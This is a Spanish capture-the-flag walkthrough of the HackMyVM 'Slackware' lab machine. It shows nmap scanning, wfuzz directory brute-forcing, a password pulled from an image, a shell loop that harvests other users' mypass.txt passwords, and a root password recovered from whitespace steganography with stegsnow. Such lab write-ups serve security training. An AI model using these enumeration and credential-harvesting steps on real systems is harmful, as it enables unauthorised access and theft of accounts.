HackMyVM - Slackware

logo

  • Reverse Image Search - (OSINT)
  • Extension enumeration 7z - (WFUZZ)
  • WhiteSpace Steganography StegSnow - (Privesc)

Escaneo de puertos

❯ sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.17

PORT  STATE SERVICE     REASON
1/tcp open  tcpmux      syn-ack ttl 64
2/tcp open  compressnet syn-ack ttl 64
MAC Address: 08:00:27:CB:5E:B8 (Oracle VirtualBox virtual NIC)

Escaneo de servicios

❯ nmap -sV -sC -p 1,2 -v 192.168.1.17

PORT  STATE SERVICE VERSION
1/tcp open  ssh     OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey: 
|   256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_  256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open  http    Apache httpd 2.4.58 ((Unix))
|_http-server-header: Apache/2.4.58 (Unix)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-title: Tribute to Slackware

HTTP TCP - 2

http

Lanzo una petición GET al archivo robots.txt.

❯ curl -s 192.168.1.17:2/robots.txt;echo
User-agent: *
#7z.001

Realizo fuerza bruta de directorios.

❯ wfuzz -t 200 -c --hw=672,23 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.17:2/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.17:2/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000084238:   301        7 L      20 W       239 Ch      "getslack"

Mando una petición GET al nuevo directorio encontrado.

❯ curl -s 192.168.1.17:2/getslack/
search here

Después de varias búsquedas en el directorio /getslack realizo una enumeración por 7z.001.

❯ wfuzz -t 100 -c --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u "http://192.168.1.17:2/getslack/FUZZ.7z.001"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.17:2/getslack/FUZZ.7z.001
Total requests: 20476

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000018573:   200        80 L     794 W      19474 Ch    "twitter" 

Con wget puedo descargarme el archivo.

❯ wget http://192.168.1.17:2/getslack/twitter.7z.001
--2024-04-28 13:11:16--  http://192.168.1.17:2/getslack/twitter.7z.001
Conectando con 192.168.1.17:2... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 20480 (20K) [application/x-7z-compressed]
Grabando a: «twitter.7z.001.1»

twitter.7z.001.1        100%[===============================>]  20,00K  --.-KB/s    en 0s  

Al abrirlo me da error algo que me esperaba ya que el nombre de archivo indica que es un archivo partido con 7z.

❯ 7z e twitter.7z.001

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=es_ES.UTF-8 Threads:4 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)

Extracting archive: twitter.7z.001
ERROR: twitter.7z.001
twitter.7z
Open ERROR: Cannot open the file as [7z] archive

ERRORS:
Unexpected end of archive
    
Can't open as archive: 1
Files: 0
Size:       0
Compressed: 0

Para descargar todos los archivos disponibles he creado este sencillo script en bash.

#!/bin/bash

for i in {1..20}; do
    wget http://192.168.1.17:2/getslack/twitter.7z.$(printf "%03d" $i)
done

Una vez descargados descomprimo el archivo y en su interior hay una imagen.

❯ 7z e twitter.7z.001

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)

Extracting archive: twitter.7z.001
--         
Path = twitter.7z.001
Type = Split
Physical Size = 20480
Volumes = 14
Total Physical Size = 268100
----
Path = twitter.7z
Size = 268100
--
Path = twitter.7z
Type = 7z
Physical Size = 268100
Headers Size = 130
Method = LZMA2:384k
Solid = -
Blocks = 1

Everything is Ok

Size:       267951
Compressed: 268100

Con strings encuentro esta cadena que parece ser una contraseña.

❯ strings -n 14 twitter.png
t**********1993

Como no tengo el usuario realizo una búsqueda inversa de imágenes con google.

user

Consigo conectarme al sistema como usuario Patrick.

❯ ssh patrick@192.168.1.17 -p 1
(patrick@192.168.1.17) Password: 
Linux 5.15.145.
patrick@slackware:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)

Enumero usuarios del sistema lanzando un cat al fichero passwd.

patrick@slackware:~$ cat /etc/passwd | grep bash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
patrick:x:1000:1000::/home/patrick:/bin/bash
kretinga:x:1001:1001::/home/kretinga:/bin/bash
claor:x:1002:1002::/home/claor:/bin/bash
alienum:x:1003:1003::/home/alienum:/bin/bash
mrmidnight:x:1004:1004::/home/mrmidnight:/bin/bash
annlynn:x:1005:1005::/home/annlynn:/bin/bash
powerful:x:1006:1006::/home/powerful:/bin/bash
proxy:x:1007:1007::/home/proxy:/bin/bash
x4v1l0k:x:1008:1008::/home/x4v1l0k:/bin/bash
icex64:x:1009:1009::/home/icex64:/bin/bash
mindsflee:x:1010:1010::/home/mindsflee:/bin/bash
zacarx007:x:1011:1011::/home/zacarx007:/bin/bash
terminal:x:1012:1012::/home/terminal:/bin/bash
zenmpi:x:1013:1013::/home/zenmpi:/bin/bash
sml:x:1014:1014::/home/sml:/bin/bash
emvee:x:1015:1015::/home/emvee:/bin/bash
nls:x:1016:1016::/home/nls:/bin/bash
noname:x:1017:1017::/home/noname:/bin/bash
nolose:x:1018:1018::/home/nolose:/bin/bash
sancelisso:x:1019:1019::/home/sancelisso:/bin/bash
ruycr4ft:x:1020:1020::/home/ruycr4ft:/bin/bash
tasiyanci:x:1021:1021::/home/tasiyanci:/bin/bash
lanz:x:1022:1022::/home/lanz:/bin/bash
pylon:x:1023:1023::/home/pylon:/bin/bash
wwfymn:x:1024:1024::/home/wwfymn:/bin/bash
whitecr0wz:x:1025:1025::/home/whitecr0wz:/bin/bash
bit:x:1026:1026::/home/bit:/bin/bash
infayerts:x:1027:1027::/home/infayerts:/bin/bash
rijaba1:x:1028:1028::/home/rijaba1:/bin/bash
cromiphi:x:1029:1029::/home/cromiphi:/bin/bash
gatogamer:x:1030:1030::/home/gatogamer:/bin/bash
ch4rm:x:1031:1031::/home/ch4rm:/bin/bash
aceomn:x:1032:1032::/home/aceomn:/bin/bash
kerszi:x:1033:1033::/home/kerszi:/bin/bash
d3b0o:x:1034:1034::/home/d3b0o:/bin/bash
avijneyam:x:1035:1035::/home/avijneyam:/bin/bash
zayotic:x:1036:1036::/home/zayotic:/bin/bash
kaian:x:1037:1037::/home/kaian:/bin/bash
c4rta:x:1038:1038::/home/c4rta:/bin/bash
boyras200:x:1039:1039::/home/boyras200:/bin/bash
waidroc:x:1040:1040::/home/waidroc:/bin/bash
ziyos:x:1041:1041::/home/ziyos:/bin/bash
b4el7d:x:1042:1042::/home/b4el7d:/bin/bash
rpj7:x:1043:1043::/home/rpj7:/bin/bash
h1dr0:x:1044:1044::/home/h1dr0:/bin/bash
catch_me75:x:1045:1045::/home/catch_me75:/bin/bash
josemlwdf:x:1046:1046::/home/josemlwdf:/bin/bash
skinny:x:1047:1047::/home/skinny:/bin/bash
0xeex75:x:1048:1048::/home/0xeex75:/bin/bash
0xh3rshel:x:1049:1049::/home/0xh3rshel:/bin/bash
0xjin:x:1050:1050::/home/0xjin:/bin/bash

Con ls -laR realizo una búsqueda recursiva en el /home para ver en que directorios puedo leer o escribir.

patrick@slackware:~$ ls -laR /home 2>/dev/null
/home:
total 2


/home/claor:
total 9
drwxr-x---  2 claor kretinga  112 Mar 10 22:15 ./
drwxr-xr-x 54 root  root     1400 Mar 10 22:16 ../
-rw-r--r--  1 claor claor    3729 Feb  2  2022 .screenrc
-rw-r-----  1 claor kretinga   13 Mar 10 22:15 mypass.txt

/home/kretinga:
total 9
drwxr-x---  2 kretinga patrick   112 Mar 10 22:15 ./
drwxr-xr-x 54 root     root     1400 Mar 10 22:16 ../
-rw-r--r--  1 kretinga kretinga 3729 Feb  2  2022 .screenrc
-rw-r-----  1 kretinga patrick    13 Mar 10 22:15 mypass.txt

Puedo leer el archivo mypass.txt de los usuarios kretinga y claor.


patrick@slackware:~$ cat /home/kretinga/mypass.txt 
lpV8UG0GxKuw

patrick@slackware:~$ cat /home/claor/mypass.txt 
JRksNe5rWgis

En cada usuario que voy entrando veo que tengo permisos para leer el archivo mypass.txt de cada usuario del sistema.

claor@slackware:~$ ls -laR /home 2>/dev/null

/home/alienum:
total 9
drwxr-x---  2 alienum claor    112 Mar 10 22:15 .
drwxr-xr-x 54 root    root    1400 Mar 10 22:16 ..
-rw-r--r--  1 alienum alienum 3729 Feb  2  2022 .screenrc
-rw-r-----  1 alienum claor     13 Mar 10 22:15 mypass.txt

claor@slackware:~$ cat ../alienum/mypass.txt 
ex0XVRAAjCWX

Este código muestra los usuarios con sus contraseñas de una forma ordenada pero no automatiza el proceso ya que tienes que copiar y pegar el código en cada usuario.

for user in $(cut -d: -f1 /etc/passwd)
do
    if [ -f "/home/$user/mypass.txt" ]; then
        echo -e "\n------------"
        echo "$user" 
        cat "/home/$user/mypass.txt"
        echo "------------"
    fi
done

En el home de rpj7 se encuentra la flag del usuario.

userflag

Me llama la atención los espacios en blanco que tiene el archivo user.txt.

userflagEspacios

Si busco en internet encuentro este vídeo que muestra la herramienta stegsnow.

whitespaces

stegsnow

Codifico el user.txt a base64.

rpj7@slackware:~$ cat user.txt | base64
SE1We1RoMXMxczFVczNyRmxhZ30JICAgICAJICAgICAgCSAJICAgCSAgICAgCSAgICAgICAJICAg
ICAgIAogICAgCSAgICAgIAkJICAgIAkgICAgICAgCQkJIAkgICAJICAgICAgIAogICAgICAgCSAJ
ICAgICAJICAgICAgIAkgICAgICAJICAgIAkgICAgICAJICAgICAJICAgIAoJICAgICAJICAgIAkg
CSAgICAJICAgICAJICAgICAgCSAgICAgICAJICAgCSAgCiAgICAgCSAgIAkgICAJICAgICAJICAg
ICAJICAgCSAJCSAgICAgIAkgCiAgICAgCSAgICAgICAJICAgICAgIAkgICAgCSAgICAgIAkgICAg
CSAgICAgCSAgCSAKCSAgICAgICAJICAgICAJIAo=

Copio la cadena en base64 y en mi máquina la guardo en un archivo con nombre whiteSpaces.txt.

echows

La decodifico y la guardo en el archivo ws.txt.

❯ base64 -d whiteSpaces.txt > ws.txt

Finalmente con la herramienta stegsnow decodifico el archivo ws.txt que contiene los espacios en blanco y encuentro una contraseña.

stegsnowOK

Me logueo como root usando la contraseña encontrada.

rpj7@slackware:~$ su root
Password: 
root@slackware:/home/rpj7# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),17(audio)

Si intento leer la flag de root.

root@slackware:~# cat roo00oot.txt 
There is no root flag here, but it is somewhere in the /home directory.

Me muevo al directorio /home y con grep hago una búsqueda recursiva de la palabra flag.

root@slackware:/home# grep -r flag

Y aquí termina la máquina Slackware.

Saludos!